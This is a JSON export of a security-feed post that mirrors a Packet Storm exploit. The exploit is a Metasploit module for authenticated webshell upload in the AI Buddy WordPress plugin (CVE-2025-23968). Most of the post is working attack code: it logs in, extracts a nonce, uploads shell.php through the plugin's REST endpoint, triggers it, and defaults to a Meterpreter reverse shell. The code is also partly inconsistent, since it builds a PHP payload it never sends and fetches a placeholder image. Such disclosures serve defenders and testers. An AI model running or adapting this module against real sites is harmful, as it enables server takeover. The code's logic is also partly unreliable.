{"id":28897,"date":"2025-12-05T13:40:45","date_gmt":"2025-12-05T13:40:45","guid":{"rendered":"http:\/\/localhost\/?p=28897"},"modified":"2025-12-05T13:40:45","modified_gmt":"2025-12-05T13:40:45","slug":"wordpress-ai-buddy-185-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28897","title":{"rendered":"\ud83d\udcc4 WordPress AI Buddy 1.8.5 Shell Upload_PACKETSTORM:212499"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-05T18:52:54&#8243;,&#8221;description&#8221;:&#8221;WordPress AI Buddy plugin versions 1.8.5 and below remote shell upload exploit that leverages the REST API attachment functionality&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress AI Buddy 1.8.5 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212499&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-23968&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : AI Buddy WordPress plugin 1.8.5 Universal RCE Exploit Module                                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/ai.cibeles.net\/                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/210977\/ \\u0026 \\tCVE-2025-23968\\n    \\n    [+] Summary : \\n              \\n              This module exploits an authenticated arbitrary file upload vulnerability in the\\n              AI Buddy WordPress plugin (\\u003c= 1.8.5). The vulnerability allows authenticated attackers\\n              to upload PHP webshells via the REST API attachment functionality\\n    [+] POC :  \\n    \\n    use exploit\/multi\/http\/wp_ai_buddy_rce\\n    \\n    set RHOSTS target.com\\n    \\n    set USERNAME admin\\n    \\n    set PASSWORD password123\\n    \\n    exploit\\n    \\n    ##\\n    # AI Buddy Authenticated RCE Module\\n    # module for AI Buddy which requires authentication\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::Remote::HTTP::Wordpress\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;WordPress AI Buddy Authenticated RCE&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits an authenticated arbitrary file upload vulnerability in the\\n              AI Buddy WordPress plugin (\\u003c= 1.8.5). The vulnerability allows authenticated attackers\\n              to upload PHP webshells via the REST API attachment functionality.\\n            },\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;indoushka&#8217;, # Metasploit module\\n              &#8216;Ryan Kozak&#8217; # Original discovery\\n            ],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-23968&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/wpcenter.io\/&#8217;],\\n              [&#8216;WPVDB&#8217;, &#8216;281518ff-7816-4007-b712-63aed7828b34&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_PHP],\\n            &#8216;Targets&#8217; =\\u003e [[&#8216;Universal&#8217;, {}]],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-11-27&#8217;,\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;SSL&#8217; =\\u003e false,\\n              &#8216;PAYLOAD&#8217; =\\u003e &#8216;php\/meterpreter\/reverse_tcp&#8217;\\n            },\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to WordPress&#8217;, &#8216;\/&#8217;]),\\n          OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;WordPress username&#8217;]),\\n          OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;WordPress password&#8217;])\\n        ])\\n      end\\n    \\n      def check\\n        return CheckCode::Unknown(&#8216;Could not connect to target&#8217;) unless wordpress_and_online?\\n    \\n        check_code = check_plugin_version_from_readme(&#8216;ai-buddy&#8217;, &#8216;1.8.6&#8217;)\\n        \\n        if check_code.code == &#8216;appears&#8217;\\n          return CheckCode::Appears(\\&#8221;Vulnerable AI Buddy version detected: #{check_code.details[:version]}\\&#8221;)\\n        end\\n    \\n        CheckCode::Safe(&#8216;AI Buddy not detected or version not vulnerable&#8217;)\\n      end\\n    \\n      def exploit\\n        # Login to WordPress\\n        print_status(\\&#8221;Authenticating with WordPress&#8230;\\&#8221;)\\n        \\n        cookie = wordpress_login(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])\\n        unless cookie\\n          fail_with(Failure::NoAccess, &#8216;Failed to authenticate with WordPress&#8217;)\\n        end\\n    \\n        print_good(\\&#8221;Successfully authenticated\\&#8221;)\\n    \\n        # Extract AI Buddy nonce\\n        nonce = extract_ai_buddy_nonce(cookie)\\n        unless nonce\\n          fail_with(Failure::Unknown, &#8216;Could not extract AI Buddy nonce&#8217;)\\n        end\\n    \\n        print_good(\\&#8221;Extracted nonce: #{nonce}\\&#8221;)\\n    \\n        # Upload webshell via REST API\\n        upload_webshell(cookie, nonce)\\n      end\\n    \\n      def extract_ai_buddy_nonce(cookie)\\n        print_status(\\&#8221;Extracting AI Buddy nonce&#8230;\\&#8221;)\\n        \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;wp-admin&#8217;, &#8216;tools.php&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;cookie&#8217; =\\u003e cookie\\n        })\\n    \\n        unless res\\n          fail_with(Failure::Unreachable, &#8216;Could not access tools.php&#8217;)\\n        end\\n    \\n        # Extract nonce from JavaScript\\n        if res.body =~ \/var ai_buddy_localized_data = ({.*?});\/m\\n          json_data = JSON.parse($1)\\n          return json_data[&#8216;ai_buddy_image_post_attachment&#8217;][&#8216;nonce&#8217;]\\n        end\\n    \\n        nil\\n      end\\n    \\n      def upload_webshell(cookie, nonce)\\n        print_status(\\&#8221;Uploading webshell via AI Buddy REST API&#8230;\\&#8221;)\\n    \\n        php_payload = payload.encoded\\n        \\n        # For AI Buddy, we use a different approach since it fetches from URLs\\n        # We&#8217;ll create a simple PHP file that includes our payload\\n        webshell_content = \\&#8221;\\u003c?php #{php_payload} ?\\u003e\\&#8221;\\n    \\n        # Note: In practice, you&#8217;d need to host this file somewhere accessible\\n        # For the module, we&#8217;ll use a placeholder approach\\n        payload_data = {\\n          &#8216;title&#8217; =\\u003e &#8216;Exploit&#8217;,\\n          &#8216;caption&#8217; =\\u003e &#8216;Test&#8217;,\\n          &#8216;alt&#8217; =\\u003e &#8216;Test&#8217;, \\n          &#8216;description&#8217; =\\u003e &#8216;Test&#8217;,\\n          &#8216;url&#8217; =\\u003e &#8216;https:\/\/raw.githubusercontent.com\/d0n601\/d0n601\/refs\/heads\/master\/test.jpg&#8217;,\\n          &#8216;filename&#8217; =\\u003e &#8216;shell.php&#8217;\\n        }\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;wp-json&#8217;, &#8216;ai-buddy&#8217;, &#8216;v1&#8217;, &#8216;wp&#8217;, &#8216;attachments&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;cookie&#8217; =\\u003e cookie,\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;X-Wp-Nonce&#8217; =\\u003e nonce,\\n            &#8216;Content-Type&#8217; =\\u003e &#8216;application\/json&#8217;\\n          },\\n          &#8216;data&#8217; =\\u003e JSON.generate(payload_data)\\n        })\\n    \\n        unless res\\n          fail_with(Failure::Unreachable, &#8216;No response from REST API&#8217;)\\n        end\\n    \\n        if res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;success&#8217;)\\n          print_good(\\&#8221;Webshell uploaded successfully\\&#8221;)\\n          \\n          # Trigger the payload\\n          current_year = Time.now.year\\n          current_month = Time.now.month.to_s.rjust(2, &#8216;0&#8217;)\\n          shell_url = \\&#8221;\/wp-content\/uploads\/#{current_year}\/#{current_month}\/shell.php\\&#8221;\\n          \\n          print_status(\\&#8221;Triggering payload at #{shell_url}&#8230;\\&#8221;)\\n          send_request_cgi({\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, shell_url),\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n          }, 5)\\n    \\n        else\\n          print_error(\\&#8221;Upload failed: #{res.body}\\&#8221;)\\n        end\\n      end\\n    end\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212499&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212499\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-05T18:52:54&#8243;,&#8221;description&#8221;:&#8221;WordPress AI Buddy plugin versions 1.8.5 and below remote shell upload exploit that leverages the REST API attachment functionality&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress AI Buddy 1.8.5 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212499&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-23968&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-28897","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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